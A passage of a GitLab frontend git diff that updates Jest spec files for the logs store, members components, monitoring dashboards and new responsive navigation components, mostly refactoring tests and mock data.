- name: 'kubernetes-cluster-1',
- provider_type: 'user',
- status: 'connected',
- path: '/root/autodevops-deploy/-/clusters/15',
- gitlab_managed_apps_logs_path: '/root/autodevops-deploy/-/logs?cluster_id=15',
- enable_advanced_logs_querying: true,
- },
- {
- cluster_type: 'project_type',
- enabled: true,
- environment_scope: '*',
- name: 'kubernetes-cluster-2',
- provider_type: 'user',
- status: 'connected',
- path: '/root/autodevops-deploy/-/clusters/16',
- gitlab_managed_apps_logs_path: null,
- enable_advanced_logs_querying: false,
- },
-];
-
export const mockPodName = 'production-764c58d697-aaaaa';
export const mockPods = [
mockPodName,
diff --git a/spec/frontend/logs/stores/actions_spec.js b/spec/frontend/logs/stores/actions_spec.js
index d5118bbde8c..9307a3b62fb 100644
--- a/spec/frontend/logs/stores/actions_spec.js
+++ b/spec/frontend/logs/stores/actions_spec.js
@@ -11,7 +11,6 @@ import {
fetchEnvironments,
fetchLogs,
fetchMoreLogsPrepend,
- fetchManagedApps,
} from '~/logs/stores/actions';
import * as types from '~/logs/stores/mutation_types';
import logsPageState from '~/logs/stores/state';
@@ -31,8 +30,6 @@ import {
mockResponse,
mockCursor,
mockNextCursor,
- mockManagedApps,
- mockManagedAppsEndpoint,
} from '../mock_data';
jest.mock('~/flash');
@@ -219,30 +216,6 @@ describe('Logs Store actions', () => {
});
});
- describe('fetchManagedApps', () => {
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- it('should commit RECEIVE_MANAGED_APPS_DATA_SUCCESS mutation on succesful fetch', () => {
- mock.onGet(mockManagedAppsEndpoint).replyOnce(200, { clusters: mockManagedApps });
- return testAction(fetchManagedApps, mockManagedAppsEndpoint, state, [
- { type: types.RECEIVE_MANAGED_APPS_DATA_SUCCESS, payload: mockManagedApps },
- ]);
- });
-
- it('should commit RECEIVE_MANAGED_APPS_DATA_ERROR on wrong data', () => {
- mock.onGet(mockManagedAppsEndpoint).replyOnce(500);
- return testAction(
- fetchManagedApps,
- mockManagedAppsEndpoint,
- state,
- [{ type: types.RECEIVE_MANAGED_APPS_DATA_ERROR }],
- [],
- );
- });
- });
-
describe('when the backend responds succesfully', () => {
let expectedMutations;
let expectedActions;
diff --git a/spec/frontend/logs/stores/getters_spec.js b/spec/frontend/logs/stores/getters_spec.js
index bca1ce4ca92..9d213d8c01f 100644
--- a/spec/frontend/logs/stores/getters_spec.js
+++ b/spec/frontend/logs/stores/getters_spec.js
@@ -1,14 +1,7 @@
import { trace, showAdvancedFilters } from '~/logs/stores/getters';
import logsPageState from '~/logs/stores/state';
-import {
- mockLogsResult,
- mockTrace,
- mockEnvName,
- mockEnvironments,
- mockManagedApps,
- mockManagedAppName,
-} from '../mock_data';
+import { mockLogsResult, mockTrace, mockEnvName, mockEnvironments } from '../mock_data';
describe('Logs Store getters', () => {
let state;
@@ -79,43 +72,4 @@ describe('Logs Store getters', () => {
});
});
});
-
- describe('when no managedApps are set', () => {
- beforeEach(() => {
- state.environments.current = null;
- state.environments.options = [];
- state.managedApps.current = mockManagedAppName;
- state.managedApps.options = [];
- });
-
- it('returns false', () => {
- expect(showAdvancedFilters(state)).toBe(false);
- });
- });
-
- describe('when the managedApp supports filters', () => {
- beforeEach(() => {
- state.environments.current = null;
- state.environments.options = mockEnvironments;
- state.managedApps.current = mockManagedAppName;
- state.managedApps.options = mockManagedApps;
- });
-
- it('returns true', () => {
- expect(showAdvancedFilters(state)).toBe(true);
- });
- });
-
- describe('when the managedApp does not support filters', () => {
- beforeEach(() => {
- state.environments.current = null;
- state.environments.options = mockEnvironments;
- state.managedApps.options = mockManagedApps;
- state.managedApps.current = mockManagedApps[1].name;
- });
-
- it('returns false', () => {
- expect(showAdvancedFilters(state)).toBe(false);
- });
- });
});
diff --git a/spec/frontend/logs/stores/mutations_spec.js b/spec/frontend/logs/stores/mutations_spec.js
index 111c795ba52..988197a8350 100644
--- a/spec/frontend/logs/stores/mutations_spec.js
+++ b/spec/frontend/logs/stores/mutations_spec.js
@@ -11,8 +11,6 @@ import {
mockSearch,
mockCursor,
mockNextCursor,
- mockManagedApps,
- mockManagedAppName,
} from '../mock_data';
describe('Logs Store Mutations', () => {
@@ -32,15 +30,6 @@ describe('Logs Store Mutations', () => {
it('sets the environment', () => {
mutations[types.SET_PROJECT_ENVIRONMENT](state, mockEnvName);
expect(state.environments.current).toEqual(mockEnvName);
- expect(state.managedApps.current).toBe(null);
- });
- });
-
- describe('SET_MANAGED_APP', () => {
- it('sets the managed app', () => {
- mutations[types.SET_MANAGED_APP](state, mockManagedAppName);
- expect(state.managedApps.current).toBe(mockManagedAppName);
- expect(state.environments.current).toBe(null);
});
});
@@ -265,29 +254,4 @@ describe('Logs Store Mutations', () => {
);
});
});
-
- describe('RECEIVE_MANAGED_APPS_DATA_SUCCESS', () => {
- it('receives managed apps data success', () => {
- expect(state.managedApps.options).toEqual([]);
-
- mutations[types.RECEIVE_MANAGED_APPS_DATA_SUCCESS](state, mockManagedApps);
-
- expect(state.managedApps.options.length).toEqual(1);
- expect(state.managedApps.options).toEqual([mockManagedApps[0]]);
- expect(state.managedApps.isLoading).toBe(false);
- });
- });
-
- describe('RECEIVE_MANAGED_APPS_DATA_ERROR', () => {
- it('received managed apps data error', () => {
- mutations[types.RECEIVE_MANAGED_APPS_DATA_ERROR](state);
-
- expect(state.managedApps).toEqual({
- options: [],
- isLoading: false,
- current: null,
- fetchError: true,
- });
- });
- });
});
diff --git a/spec/frontend/members/components/app_spec.js b/spec/frontend/members/components/app_spec.js
index 05933e36b52..b9fdf8792fd 100644
--- a/spec/frontend/members/components/app_spec.js
+++ b/spec/frontend/members/components/app_spec.js
@@ -33,7 +33,7 @@ describe('MembersApp', () => {
wrapper = shallowMount(MembersApp, {
localVue,
- provide: {
+ propsData: {
namespace: MEMBER_TYPES.user,
},
store,
diff --git a/spec/frontend/members/components/members_tabs_spec.js b/spec/frontend/members/components/members_tabs_spec.js
index 28614b52706..6f1a6d0c223 100644
--- a/spec/frontend/members/components/members_tabs_spec.js
+++ b/spec/frontend/members/components/members_tabs_spec.js
@@ -6,7 +6,7 @@ import MembersTabs from '~/members/components/members_tabs.vue';
import { MEMBER_TYPES } from '~/members/constants';
import { pagination } from '../mock_data';
-describe('MembersApp', () => {
+describe('MembersTabs', () => {
Vue.use(Vuex);
let wrapper;
@@ -111,10 +111,10 @@ describe('MembersApp', () => {
const membersApps = wrapper.findAllComponents(MembersApp).wrappers;
- expect(membersApps[0].attributes('namespace')).toBe(MEMBER_TYPES.user);
- expect(membersApps[1].attributes('namespace')).toBe(MEMBER_TYPES.group);
- expect(membersApps[2].attributes('namespace')).toBe(MEMBER_TYPES.invite);
- expect(membersApps[3].attributes('namespace')).toBe(MEMBER_TYPES.accessRequest);
+ expect(membersApps[0].props('namespace')).toBe(MEMBER_TYPES.user);
+ expect(membersApps[1].props('namespace')).toBe(MEMBER_TYPES.group);
+ expect(membersApps[2].props('namespace')).toBe(MEMBER_TYPES.invite);
+ expect(membersApps[3].props('namespace')).toBe(MEMBER_TYPES.accessRequest);
});
});
diff --git a/spec/frontend/members/components/modals/remove_group_link_modal_spec.js b/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
index 01279581c55..313c237f51c 100644
--- a/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
+++ b/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
@@ -109,6 +109,6 @@ describe('RemoveGroupLinkModal', () => {
it('modal does not show when `removeGroupLinkModalVisible` is `false`', () => {
createComponent({ removeGroupLinkModalVisible: false });
- expect(findModal().vm.$attrs.visible).toBe(false);
+ expect(findModal().props().visible).toBe(false);
});
});
diff --git a/spec/frontend/members/components/table/expires_at_spec.js b/spec/frontend/members/components/table/expires_at_spec.js
index 02fe3c6d684..2b8e6ab8f2a 100644
--- a/spec/frontend/members/components/table/expires_at_spec.js
+++ b/spec/frontend/members/components/table/expires_at_spec.js
@@ -54,7 +54,7 @@ describe('ExpiresAt', () => {
const tooltipDirective = getTooltipDirective(expiredText);
expect(tooltipDirective).not.toBeUndefined();
- expect(expiredText.attributes('title')).toBe('Mar 15, 2019 12:00am GMT+0000');
+ expect(expiredText.attributes('title')).toBe('Mar 15, 2019 12:00am UTC');
});
});
diff --git a/spec/frontend/members/components/table/role_dropdown_spec.js b/spec/frontend/members/components/table/role_dropdown_spec.js
index c8b6bead450..a4a4c620921 100644
--- a/spec/frontend/members/components/table/role_dropdown_spec.js
+++ b/spec/frontend/members/components/table/role_dropdown_spec.js
@@ -88,7 +88,7 @@ describe('RoleDropdown', () => {
});
it('renders dropdown header', () => {
- expect(getByTextInDropdownMenu('Change permissions').exists()).toBe(true);
+ expect(getByTextInDropdownMenu('Change role').exists()).toBe(true);
});
it('sets dropdown toggle and checks selected role', () => {
diff --git a/spec/frontend/members/index_spec.js b/spec/frontend/members/index_spec.js
index b07534ae4ed..efabe54f238 100644
--- a/spec/frontend/members/index_spec.js
+++ b/spec/frontend/members/index_spec.js
@@ -1,5 +1,5 @@
import { createWrapper } from '@vue/test-utils';
-import MembersApp from '~/members/components/app.vue';
+import MembersTabs from '~/members/components/members_tabs.vue';
import { MEMBER_TYPES } from '~/members/constants';
import { initMembersApp } from '~/members/index';
import { members, pagination, dataAttribute } from './mock_data';
@@ -11,12 +11,13 @@ describe('initMembersApp', () => {
const setup = () => {
vm = initMembersApp(el, {
- namespace: MEMBER_TYPES.user,
- tableFields: ['account'],
- tableAttrs: { table: { 'data-qa-selector': 'members_list' } },
- tableSortableFields: ['account'],
- requestFormatter: () => ({}),
- filteredSearchBar: { show: false },
+ [MEMBER_TYPES.user]: {
+ tableFields: ['account'],
+ tableAttrs: { table: { 'data-qa-selector': 'members_list' } },
+ tableSortableFields: ['account'],
+ requestFormatter: () => ({}),
+ filteredSearchBar: { show: false },
+ },
});
wrapper = createWrapper(vm);
};
@@ -35,10 +36,10 @@ describe('initMembersApp', () => {
wrapper = null;
});
- it('renders `MembersApp`', () => {
+ it('renders `MembersTabs`', () => {
setup();
- expect(wrapper.find(MembersApp).exists()).toBe(true);
+ expect(wrapper.find(MembersTabs).exists()).toBe(true);
});
it('parses and sets `members` in Vuex store', () => {
diff --git a/spec/frontend/members/mock_data.js b/spec/frontend/members/mock_data.js
index d0a7c36349b..4275db5fa9f 100644
--- a/spec/frontend/members/mock_data.js
+++ b/spec/frontend/members/mock_data.js
@@ -1,3 +1,5 @@
+import { MEMBER_TYPES } from '~/members/constants';
+
export const member = {
requestedAt: null,
canUpdate: false,
@@ -28,6 +30,7 @@ export const member = {
usingLicense: false,
groupSso: false,
groupManagedAccount: false,
+ provisionedByThisGroup: false,
validRoles: {
Guest: 10,
Reporter: 20,
@@ -97,10 +100,12 @@ export const pagination = {
};
export const dataAttribute = JSON.stringify({
- members,
- pagination: paginationData,
+ [MEMBER_TYPES.user]: {
+ members,
+ pagination: paginationData,
+ member_path: '/groups/foo-bar/-/group_members/:id',
+ ldap_override_path: '/groups/ldap-group/-/group_members/:id/override',
+ },
source_id: 234,
can_manage_members: true,
- member_path: '/groups/foo-bar/-/group_members/:id',
- ldap_override_path: '/groups/ldap-group/-/group_members/:id/override',
});
diff --git a/spec/frontend/members/utils_spec.js b/spec/frontend/members/utils_spec.js
index 72696979722..9740e1c2edb 100644
--- a/spec/frontend/members/utils_spec.js
+++ b/spec/frontend/members/utils_spec.js
@@ -1,4 +1,4 @@
-import { DEFAULT_SORT } from '~/members/constants';
+import { DEFAULT_SORT, MEMBER_TYPES } from '~/members/constants';
import {
generateBadges,
isGroup,
@@ -268,11 +268,13 @@ describe('Members Utils', () => {
it('correctly parses the data attribute', () => {
expect(parseDataAttributes(el)).toMatchObject({
- members,
- pagination,
+ [MEMBER_TYPES.user]: {
+ members,
+ pagination,
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ },
sourceId: 234,
canManageMembers: true,
- memberPath: '/groups/foo-bar/-/group_members/:id',
});
});
});
diff --git a/spec/frontend/monitoring/alert_widget_spec.js b/spec/frontend/monitoring/alert_widget_spec.js
index 1f0597bac67..9bf9e8ad7cc 100644
--- a/spec/frontend/monitoring/alert_widget_spec.js
+++ b/spec/frontend/monitoring/alert_widget_spec.js
@@ -1,7 +1,7 @@
import { GlLoadingIcon, GlTooltip, GlSprintf, GlBadge } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import waitForPromises from 'helpers/wait_for_promises';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import AlertWidget from '~/monitoring/components/alert_widget.vue';
const mockReadAlert = jest.fn();
diff --git a/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap b/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
index 98503636d33..08f9e07244f 100644
--- a/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
+++ b/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
@@ -7,7 +7,6 @@ exports[`Dashboard template matches the default snapshot 1`] = `
environmentstate="available"
metricsdashboardbasepath="/monitoring/monitor-project/-/environments/1/metrics"
metricsendpoint="/monitoring/monitor-project/-/environments/1/additional_metrics.json"
- prometheusstatus=""
>
<alerts-deprecation-warning-stub />
diff --git a/spec/frontend/monitoring/components/charts/time_series_spec.js b/spec/frontend/monitoring/components/charts/time_series_spec.js
index afa63bcff29..754ddd96c9b 100644
--- a/spec/frontend/monitoring/components/charts/time_series_spec.js
+++ b/spec/frontend/monitoring/components/charts/time_series_spec.js
@@ -208,7 +208,7 @@ describe('Time series component', () => {
});
it('formats tooltip title', () => {
- expect(wrapper.vm.tooltip.title).toBe('16 Jul 2019, 10:14AM (GMT+0000)');
+ expect(wrapper.vm.tooltip.title).toBe('16 Jul 2019, 10:14AM (UTC)');
});
it('formats tooltip content', () => {
@@ -282,7 +282,7 @@ describe('Time series component', () => {
});
it('formats tooltip title', () => {
- expect(wrapper.vm.tooltip.title).toBe('16 Jul 2019, 10:14AM (GMT+0000)');
+ expect(wrapper.vm.tooltip.title).toBe('16 Jul 2019, 10:14AM (UTC)');
});
it('formats tooltip sha', () => {
@@ -301,7 +301,7 @@ describe('Time series component', () => {
});
it('formats tooltip title', () => {
- expect(wrapper.vm.tooltip.title).toBe('16 Jul 2019, 10:14AM (GMT+0000)');
+ expect(wrapper.vm.tooltip.title).toBe('16 Jul 2019, 10:14AM (UTC)');
});
it('formats tooltip sha', () => {
@@ -334,7 +334,7 @@ describe('Time series component', () => {
it('formats tooltip title and sets tooltip content', () => {
const formattedTooltipData = wrapper.vm.formatAnnotationsTooltipText(mockMarkPoint);
- expect(formattedTooltipData.title).toBe('19 Feb 2020, 10:01AM (GMT+0000)');
+ expect(formattedTooltipData.title).toBe('19 Feb 2020, 10:01AM (UTC)');
expect(formattedTooltipData.content).toBe(annotationsMetadata.tooltipData.content);
});
});
diff --git a/spec/frontend/monitoring/components/dashboard_panel_spec.js b/spec/frontend/monitoring/components/dashboard_panel_spec.js
index a72dbbd0f41..c8951dff9ed 100644
--- a/spec/frontend/monitoring/components/dashboard_panel_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_panel_spec.js
@@ -778,5 +778,31 @@ describe('Dashboard Panel', () => {
expect(findRunbookLinks().at(0).attributes('href')).toBe(invalidUrl);
});
});
+
+ describe('managed alert deprecation feature flag', () => {
+ beforeEach(() => {
+ setMetricsSavedToDb([metricId]);
+ });
+
+ it('shows alerts when alerts are not deprecated', () => {
+ createWrapper(
+ { alertsEndpoint: '/endpoint', prometheusAlertsAvailable: true },
+ { provide: { glFeatures: { managedAlertsDeprecation: false } } },
+ );
+
+ expect(findAlertsWidget().exists()).toBe(true);
+ expect(findMenuItemByText('Alerts').exists()).toBe(true);
+ });
+
+ it('hides alerts when alerts are deprecated', () => {
+ createWrapper(
+ { alertsEndpoint: '/endpoint', prometheusAlertsAvailable: true },
+ { provide: { glFeatures: { managedAlertsDeprecation: true } } },
+ );
+
+ expect(findAlertsWidget().exists()).toBe(false);
+ expect(findMenuItemByText('Alerts').exists()).toBe(false);
+ });
+ });
});
});
diff --git a/spec/frontend/monitoring/components/dashboard_spec.js b/spec/frontend/monitoring/components/dashboard_spec.js
index 0c2f85c7298..7ca1b97d849 100644
--- a/spec/frontend/monitoring/components/dashboard_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_spec.js
@@ -1,9 +1,8 @@
-import { GlAlert } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import VueDraggable from 'vuedraggable';
import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import { mountExtended, shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { ESC_KEY } from '~/lib/utils/keys';
import { objectToQuery } from '~/lib/utils/url_utility';
@@ -17,7 +16,6 @@ import LinksSection from '~/monitoring/components/links_section.vue';
import { dashboardEmptyStates, metricStates } from '~/monitoring/constants';
import { createStore } from '~/monitoring/stores';
import * as types from '~/monitoring/stores/mutation_types';
-import AlertDeprecationWarning from '~/vue_shared/components/alerts_deprecation_warning.vue';
import {
metricsDashboardViewModel,
metricsDashboardPanelCount,
@@ -41,7 +39,7 @@ describe('Dashboard', () => {
let mock;
const createShallowWrapper = (props = {}, options = {}) => {
- wrapper = shallowMount(Dashboard, {
+ wrapper = shallowMountExtended(Dashboard, {
propsData: { ...dashboardProps, ...props },
store,
stubs: {
@@ -53,7 +51,7 @@ describe('Dashboard', () => {
};
const createMountedWrapper = (props = {}, options = {}) => {
- wrapper = mount(Dashboard, {
+ wrapper = mountExtended(Dashboard, {
propsData: { ...dashboardProps, ...props },
store,
stubs: {
@@ -818,24 +816,28 @@ describe('Dashboard', () => {
});
});
- describe('deprecation notice', () => {
+ describe('alerts deprecation', () => {
beforeEach(() => {
setupStoreWithData(store);
});
- const findDeprecationNotice = () =>
- wrapper.find(AlertDeprecationWarning).findComponent(GlAlert);
-
- it('shows the deprecation notice when available', () => {
- createMountedWrapper({}, { provide: { hasManagedPrometheus: true } });
-
- expect(findDeprecationNotice().exists()).toBe(true);
- });
-
- it('hides the deprecation notice when not available', () => {
- createMountedWrapper();
-
- expect(findDeprecationNotice().exists()).toBe(false);
- });
+ const findDeprecationNotice = () => wrapper.findByTestId('alerts-deprecation-warning');
+
+ it.each`
+ managedAlertsDeprecation | hasManagedPrometheus | isVisible
+ ${false} | ${false} | ${false}
+ ${false} | ${true} | ${true}
+ ${true} | ${false} | ${false}
+ ${true} | ${true} | ${false}
+ `(
+ 'when the deprecation feature flag is $managedAlertsDeprecation and has managed prometheus is $hasManagedPrometheus',
+ ({ hasManagedPrometheus, managedAlertsDeprecation, isVisible }) => {
+ createMountedWrapper(
+ {},
+ { provide: { hasManagedPrometheus, glFeatures: { managedAlertsDeprecation } } },
+ );
+ expect(findDeprecationNotice().exists()).toBe(isVisible);
+ },
+ );
});
});
diff --git a/spec/frontend/monitoring/components/dashboard_url_time_spec.js b/spec/frontend/monitoring/components/dashboard_url_time_spec.js
index 090613b0f1e..bea263f143a 100644
--- a/spec/frontend/monitoring/components/dashboard_url_time_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_url_time_spec.js
@@ -1,6 +1,6 @@
import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import {
queryToObject,
diff --git a/spec/frontend/monitoring/store/actions_spec.js b/spec/frontend/monitoring/store/actions_spec.js
index b7f741c449f..f60c531e3f6 100644
--- a/spec/frontend/monitoring/store/actions_spec.js
+++ b/spec/frontend/monitoring/store/actions_spec.js
@@ -1,7 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import { backoffMockImplementation } from 'helpers/backoff_helper';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as commonUtils from '~/lib/utils/common_utils';
import statusCodes from '~/lib/utils/http_status';
@@ -257,9 +257,9 @@ describe('Monitoring store actions', () => {
'receiveMetricsDashboardFailure',
new Error('Request failed with status code 500'),
);
- expect(createFlash).toHaveBeenCalledWith(
- expect.stringContaining(mockDashboardsErrorResponse.message),
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringContaining(mockDashboardsErrorResponse.message),
+ });
done();
})
.catch(done.fail);
@@ -1148,9 +1148,9 @@ describe('Monitoring store actions', () => {
return testAction(fetchVariableMetricLabelValues, { defaultQueryParams }, state, [], []).then(
() => {
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(
- expect.stringContaining('error getting options for variable "label1"'),
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringContaining('error getting options for variable "label1"'),
+ });
},
);
});
diff --git a/spec/frontend/nav/components/responsive_app_spec.js b/spec/frontend/nav/components/responsive_app_spec.js
new file mode 100644
index 00000000000..7221ea2c5cd
--- /dev/null
+++ b/spec/frontend/nav/components/responsive_app_spec.js
@@ -0,0 +1,173 @@
+import { shallowMount } from '@vue/test-utils';
+import ResponsiveApp from '~/nav/components/responsive_app.vue';
+import ResponsiveHeader from '~/nav/components/responsive_header.vue';
+import ResponsiveHome from '~/nav/components/responsive_home.vue';
+import TopNavContainerView from '~/nav/components/top_nav_container_view.vue';
+import eventHub, { EVENT_RESPONSIVE_TOGGLE } from '~/nav/event_hub';
+import { resetMenuItemsActive } from '~/nav/utils/reset_menu_items_active';
+import KeepAliveSlots from '~/vue_shared/components/keep_alive_slots.vue';
+import { TEST_NAV_DATA } from '../mock_data';
+
+const HTML_HEADER_CONTENT = '<div class="header-content"></div>';
+const HTML_MENU_EXPANDED = '<div class="menu-expanded"></div>';
+const HTML_HEADER_WITH_MENU_EXPANDED =
+ '<div></div><div class="header-content menu-expanded"></div>';
+
+describe('~/nav/components/responsive_app.vue', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(ResponsiveApp, {
+ propsData: {
+ navData: TEST_NAV_DATA,
+ },
+ stubs: {
+ KeepAliveSlots,
+ },
+ });
+ };
+ const triggerResponsiveToggle = () => eventHub.$emit(EVENT_RESPONSIVE_TOGGLE);
+
+ const findHome = () => wrapper.findComponent(ResponsiveHome);
+ const findMobileOverlay = () => wrapper.find('[data-testid="mobile-overlay"]');
+ const findSubviewHeader = () => wrapper.findComponent(ResponsiveHeader);
+ const findSubviewContainer = () => wrapper.findComponent(TopNavContainerView);
+ const hasBodyResponsiveOpen = () => document.body.classList.contains('top-nav-responsive-open');
+ const hasMobileOverlayVisible = () => findMobileOverlay().classes('mobile-nav-open');
+
+ beforeEach(() => {
+ document.body.innerHTML = '';
+ // Add test class to reset state + assert that we're adding classes correctly
+ document.body.className = 'test-class';
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('shows home by default', () => {
+ expect(findHome().isVisible()).toBe(true);
+ expect(findHome().props()).toEqual({
+ navData: resetMenuItemsActive(TEST_NAV_DATA),
+ });
+ });
+
+ it.each`
+ bodyHtml | expectation
+ ${''} | ${false}
+ ${HTML_HEADER_CONTENT} | ${false}
+ ${HTML_MENU_EXPANDED} | ${false}
+ ${HTML_HEADER_WITH_MENU_EXPANDED} | ${true}
+ `(
+ 'with responsive toggle event and html set to $bodyHtml, responsive open = $expectation',
+ ({ bodyHtml, expectation }) => {
+ document.body.innerHTML = bodyHtml;
+
+ triggerResponsiveToggle();
+
+ expect(hasBodyResponsiveOpen()).toBe(expectation);
+ },
+ );
+
+ it.each`
+ events | expectation
+ ${[]} | ${false}
+ ${['bv::dropdown::show']} | ${true}
+ ${['bv::dropdown::show', 'bv::dropdown::hide']} | ${false}
+ `(
+ 'with root events $events, movile overlay visible = $expectation',
+ async ({ events, expectation }) => {
+ // `await...reduce(async` is like doing an `forEach(async (...))` excpet it works
+ await events.reduce(async (acc, evt) => {
+ await acc;
+
+ wrapper.vm.$root.$emit(evt);
+
+ await wrapper.vm.$nextTick();
+ }, Promise.resolve());
+
+ expect(hasMobileOverlayVisible()).toBe(expectation);
+ },
+ );
+ });
+
+ describe('with menu expanded in body', () => {
+ beforeEach(() => {
+ document.body.innerHTML = HTML_HEADER_WITH_MENU_EXPANDED;
+ createComponent();
+ });
+
+ it('sets the body responsive open', () => {
+ expect(hasBodyResponsiveOpen()).toBe(true);
+ });
+ });
+
+ const projectsContainerProps = {
+ containerClass: 'gl-px-3',
+ frequentItemsDropdownType: ResponsiveApp.FREQUENT_ITEMS_PROJECTS.namespace,
+ frequentItemsVuexModule: ResponsiveApp.FREQUENT_ITEMS_PROJECTS.vuexModule,
+ linksPrimary: TEST_NAV_DATA.views.projects.linksPrimary,
+ linksSecondary: TEST_NAV_DATA.views.projects.linksSecondary,
+ };
+ const groupsContainerProps = {
+ containerClass: 'gl-px-3',
+ frequentItemsDropdownType: ResponsiveApp.FREQUENT_ITEMS_GROUPS.namespace,
+ frequentItemsVuexModule: ResponsiveApp.FREQUENT_ITEMS_GROUPS.vuexModule,
+ linksPrimary: TEST_NAV_DATA.views.groups.linksPrimary,
+ linksSecondary: TEST_NAV_DATA.views.groups.linksSecondary,
+ };
+
+ describe.each`
+ view | header | containerProps
+ ${'projects'} | ${'Projects'} | ${projectsContainerProps}
+ ${'groups'} | ${'Groups'} | ${groupsContainerProps}
+ `('when menu item with $view is clicked', ({ view, header, containerProps }) => {
+ beforeEach(async () => {
+ createComponent();
+
+ findHome().vm.$emit('menu-item-click', { view });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ it('shows header', () => {
+ expect(findSubviewHeader().text()).toBe(header);
+ });
+
+ it('shows container subview', () => {
+ expect(findSubviewContainer().props()).toEqual(containerProps);
+ });
+
+ it('hides home', () => {
+ expect(findHome().isVisible()).toBe(false);
+ });
+
+ describe('when header back button is clicked', () => {
+ beforeEach(() => {
+ findSubviewHeader().vm.$emit('menu-item-click', { view: 'home' });
+ });
+
+ it('shows home', () => {
+ expect(findHome().isVisible()).toBe(true);
+ });
+ });
+ });
+
+ describe('when destroyed', () => {
+ beforeEach(() => {
+ createComponent();
+ wrapper.destroy();
+ });
+
+ it('responsive toggle event does nothing', () => {
+ triggerResponsiveToggle();
+
+ expect(hasBodyResponsiveOpen()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/nav/components/responsive_header_spec.js b/spec/frontend/nav/components/responsive_header_spec.js
new file mode 100644
index 00000000000..937c44727c7
--- /dev/null
+++ b/spec/frontend/nav/components/responsive_header_spec.js
@@ -0,0 +1,67 @@
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ResponsiveHeader from '~/nav/components/responsive_header.vue';
+import TopNavMenuItem from '~/nav/components/top_nav_menu_item.vue';
+
+const TEST_SLOT_CONTENT = 'Test slot content';
+
+describe('~/nav/components/top_nav_menu_sections.vue', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(ResponsiveHeader, {
+ slots: {
+ default: TEST_SLOT_CONTENT,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const findMenuItem = () => wrapper.findComponent(TopNavMenuItem);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders slot', () => {
+ expect(wrapper.text()).toBe(TEST_SLOT_CONTENT);
+ });
+
+ it('renders back button', () => {
+ const button = findMenuItem();
+
+ const tooltip = getBinding(button.element, 'gl-tooltip').value.title;
+
+ expect(tooltip).toBe('Go back');
+ expect(button.props()).toEqual({
+ menuItem: {
+ id: 'home',
+ view: 'home',
+ icon: 'angle-left',
+ },
+ iconOnly: true,
+ });
+ });
+
+ it('emits nothing', () => {
+ expect(wrapper.emitted()).toEqual({});
+ });
+
+ describe('when back button is clicked', () => {
+ beforeEach(() => {
+ findMenuItem().vm.$emit('click');
+ });
+
+ it('emits menu-item-click', () => {
+ expect(wrapper.emitted()).toEqual({
+ 'menu-item-click': [[{ id: 'home', view: 'home', icon: 'angle-left' }]],
+ });
+ });
+ });
+});
diff --git a/spec/frontend/nav/components/responsive_home_spec.js b/spec/frontend/nav/components/responsive_home_spec.js
new file mode 100644
index 00000000000..8f198d92747
--- /dev/null
+++ b/spec/frontend/nav/components/responsive_home_spec.js
@@ -0,0 +1,137 @@
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ResponsiveHome from '~/nav/components/responsive_home.vue';
+import TopNavMenuItem from '~/nav/components/top_nav_menu_item.vue';
+import TopNavMenuSections from '~/nav/components/top_nav_menu_sections.vue';
+import TopNavNewDropdown from '~/nav/components/top_nav_new_dropdown.vue';
+import { TEST_NAV_DATA } from '../mock_data';
+
+const TEST_SEARCH_MENU_ITEM = {
+ id: 'search',
+ title: 'search',
+ icon: 'search',
+ href: '/search',
+};
+
+const TEST_NEW_DROPDOWN_VIEW_MODEL = {
+ title: 'new',
+ menu_sections: [],
+};
+
+describe('~/nav/components/responsive_home.vue', () => {
+ let wrapper;
+ let menuItemClickListener;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(ResponsiveHome, {
+ propsData: {
+ navData: TEST_NAV_DATA,
+ ...props,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ listeners: {
+ 'menu-item-click': menuItemClickListener,
+ },
+ });
+ };
+
+ const findSearchMenuItem = () => wrapper.findComponent(TopNavMenuItem);
